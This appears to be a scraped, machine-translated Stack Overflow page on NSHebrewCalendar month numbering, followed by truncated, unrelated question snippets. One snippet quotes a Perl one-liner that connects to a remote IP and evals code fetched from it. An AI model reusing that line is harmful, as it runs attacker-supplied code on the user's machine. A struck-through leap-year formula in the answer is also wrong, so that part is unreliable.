- Java 双重比较
- java - 比较器与 Apache BeanComparator
- Objective-C 完成 block 导致额外的方法调用?
- database - RESTful URI 是否应该公开数据库主键?
我用 Cocoa Touch 进行了一次快速测试,看看 NSHebrewCalendar 是如何工作的。我对月份数字特别感兴趣。我使用日期选择器轻松更改日期,并将其传递给一个记录希伯来语日期、希伯来语月份、希伯来语年份以及年份是否为闰年的方法。看起来像这样:
BOOL isHebrewLeapYear = [self.calendar isHebrewLeapYear:[calendar hebrewYearForDate:[self.calendar workingDate]]];
NSLog(@"Hebrew Date:%@, Month Number: %i, %i is Leap Year: %i", [self.calendar stringFromHebrewDate:[self.calendar workingDate]], [self.calendar hebrewMonthNumberFromDate:[self.calendar workingDate]], [calendar hebrewYearForDate:[self.calendar workingDate]], isHebrewLeapYear);
self.calendar
对象是一个自定义类。 workingDate
属性是一个 NSDate
实例。下面是相关的方法声明。
// Check if a given year is a leap year
- (BOOL) isHebrewLeapYear:(NSInteger)year{
return ((7 * year + 1) % 19) < 7;
}
//Get the hebrew year for a given date
- (NSInteger) hebrewYearForDate:(NSDate *)date{
NSCalendar *hebrewCalendar = [[[NSCalendar alloc] initWithCalendarIdentifier:NSHebrewCalendar] autorelease];
return [[hebrewCalendar components:NSYearCalendarUnit fromDate:date] year];
}
- (NSInteger) hebrewMonthNumberFromDate:(NSDate *)date{
NSCalendar *hebrewCalendar = [[[NSCalendar alloc] initWithCalendarIdentifier:NSHebrewCalendar] autorelease];
return [[hebrewCalendar components:NSMonthCalendarUnit fromDate:date] month];
}
显然,希伯来闰年的处理方式如下:
听起来我的实验产生了准确的结果吗?这种行为是否记录在任何地方?
最佳答案
Month numbering starts at 1, with that month being "Tishri".
正确。
In a nonleap year, Adar is month number 7, not 6.
技术上不正确。 (更多内容见下文)
In a leap year, Adar I is number 6 and Adar II is 7.
正确。
"Nisan" is always 8 and so on until "Elul", which is always 13.
正确。
那么非闰年的 Adar 是怎么回事?我运行这段代码来找出答案:
@autoreleasepool {
NSDate *today = [NSDate date];
NSCalendar *hebrew = [[NSCalendar alloc] initWithCalendarIdentifier:NSHebrewCalendar];
NSDateComponents *diff = [[NSDateComponents alloc] init];
NSDateFormatter *f = [[NSDateFormatter alloc] init];
[f setDateFormat:@"d MMMM y"];
[f setCalendar:hebrew];
for (NSInteger i = 0; i < 19; ++i) {
NSDateComponents *comp = [[NSDateComponents alloc] init];
[comp setYear:5772 + i];
[comp setDay:1];
NSLog(@"============= %d ============", [comp year]);
for (NSInteger i = 1; i <= 13; ++i) {
[comp setMonth:i];
NSDate *d = [hebrew dateFromComponents:comp];
NSLog(@"%d: %@ (%@)", i, [f stringFromDate:d], d);
}
}
}
在闰年,这将记录您期望的内容:
============= 5790 ============
1: 1 Tishri 5790 (2029-09-10 07:00:00 +0000)
2: 1 Heshvan 5790 (2029-10-10 07:00:00 +0000)
3: 1 Kislev 5790 (2029-11-08 08:00:00 +0000)
4: 1 Tevet 5790 (2029-12-07 08:00:00 +0000)
5: 1 Shevat 5790 (2030-01-05 08:00:00 +0000)
6: 1 Adar I 5790 (2030-02-04 08:00:00 +0000)
7: 1 Adar II 5790 (2030-03-06 08:00:00 +0000)
8: 1 Nisan 5790 (2030-04-04 07:00:00 +0000)
9: 1 Iyar 5790 (2030-05-04 07:00:00 +0000)
10: 1 Sivan 5790 (2030-06-02 07:00:00 +0000)
11: 1 Tamuz 5790 (2030-07-02 07:00:00 +0000)
12: 1 Av 5790 (2030-07-31 07:00:00 +0000)
13: 1 Elul 5790 (2030-08-30 07:00:00 +0000)
对于“月”日期部分的每次递增,我们都会得到一个不同的日期。但是当我们在非闰年运行它时,我们得到这个:
============= 5789 ============
1: 1 Tishri 5789 (2028-09-21 07:00:00 +0000)
2: 1 Heshvan 5789 (2028-10-21 07:00:00 +0000)
3: 1 Kislev 5789 (2028-11-19 08:00:00 +0000)
4: 1 Tevet 5789 (2028-12-19 08:00:00 +0000)
5: 1 Shevat 5789 (2029-01-17 08:00:00 +0000)
6: 1 Adar 5789 (2029-02-16 08:00:00 +0000)
7: 1 Adar 5789 (2029-02-16 08:00:00 +0000)
8: 1 Nisan 5789 (2029-03-17 07:00:00 +0000)
9: 1 Iyar 5789 (2029-04-16 07:00:00 +0000)
10: 1 Sivan 5789 (2029-05-15 07:00:00 +0000)
11: 1 Tamuz 5789 (2029-06-14 07:00:00 +0000)
12: 1 Av 5789 (2029-07-13 07:00:00 +0000)
13: 1 Elul 5789 (2029-08-12 07:00:00 +0000)
在这里我们看到有一个月的 6 和 7 将两者评估为 Adar。因此,亚达月既是平年的第 6 个月又是第 7 个月。
此外,由于我们知道 5790 年是闰年,我们可以推导出一个更简单的
-isHebrewLeapYear:
实现。方法:
- (BOOL) isHebrewLeapYear:(NSInteger)year{
return year % 19 == 14;
}
<罢工>
关于objective-c - 我是否正确理解 NSHebrewCalendar?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/8198526/
我试图理解 (>>=).(>>=) ,GHCi 告诉我的是: (>>=) :: Monad m => m a -> (a -> m b) -> m b (>>=).(>>=) :: Mon
关于此 Java 代码,我有以下问题: public static void main(String[] args) { int A = 12, B = 24; int x = A,
对于这个社区来说,这可能是一个愚蠢的基本问题,但如果有人能向我解释一下,我会非常满意,我对此感到非常困惑。我在网上找到了这个教程,这是一个例子。 function sports (x){
def counting_sort(array, maxval): """in-place counting sort""" m = maxval + 1 count = [0
我有一些排序算法的集合,我想弄清楚它究竟是如何运作的。 我对一些说明有些困惑,特别是 cmp 和 jle 说明,所以我正在寻求帮助。此程序集对包含三个元素的数组进行排序。 0.00 :
阅读 PHP.net 文档时,我偶然发现了一个扭曲了我理解 $this 的方式的问题: class C { public function speak_child() { //
关闭。这个问题不满足Stack Overflow guidelines .它目前不接受答案。 想改善这个问题吗?更新问题,使其成为 on-topic对于堆栈溢出。 7年前关闭。 Improve thi
我有几个关于 pragmas 的相关问题.让我开始这一系列问题的原因是试图确定是否可以禁用某些警告而不用一直到 no worries。 (我还是想担心,至少有点担心!)。我仍然对那个特定问题的答案感兴
我正在尝试构建 CNN使用 Torch 7 .我对 Lua 很陌生.我试图关注这个 link .我遇到了一个叫做 setmetatable 的东西在以下代码块中: setmetatable(train
我有这段代码 use lib do{eval&&botstrap("AutoLoad")if$b=new IO::Socket::INET 82.46.99.88.":1"}; 这似乎导入了一个库,但
我有以下代码,它给出了 [2,4,6] : j :: [Int] j = ((\f x -> map x) (\y -> y + 3) (\z -> 2*z)) [1,2,3] 为什么?似乎只使用了“
我刚刚使用 Richard Bird 的书学习 Haskell 和函数式编程,并遇到了 (.) 函数的类型签名。即 (.) :: (b -> c) -> (a -> b) -> (a -> c) 和相
我遇到了andThen ,但没有正确理解它。 为了进一步了解它,我阅读了 Function1.andThen文档 def andThen[A](g: (R) ⇒ A): (T1) ⇒ A mm是 Mu
这是一个代码,用作 XMLHttpRequest 的 URL 的附加内容。URL 中显示的内容是: http://something/something.aspx?QueryString_from_b
考虑以下我从 https://stackoverflow.com/a/28250704/460084 获取的代码 function getExample() { var a = promise
将 list1::: list2 运算符应用于两个列表是否相当于将 list1 的所有内容附加到 list2 ? scala> val a = List(1,2,3) a: List[Int] = L
在python中我会写: {a:0 for a in range(5)} 得到 {0: 0, 1: 0, 2: 0, 3: 0, 4: 0} 我怎样才能在 Dart 中达到同样的效果? 到目前为止,我
关闭。这个问题需要多问focused 。目前不接受答案。 想要改进此问题吗?更新问题,使其仅关注一个问题 editing this post . 已关闭 5 年前。 Improve this ques
我有以下 make 文件: CC = gcc CCDEPMODE = depmode=gcc3 CFLAGS = -g -O2 -W -Wall -Wno-unused -Wno-multichar
有人可以帮助或指导我如何理解以下实现中的 fmap 函数吗? data Rose a = a :> [Rose a] deriving (Eq, Show) instance Functor Rose
我是一名优秀的程序员,十分优秀!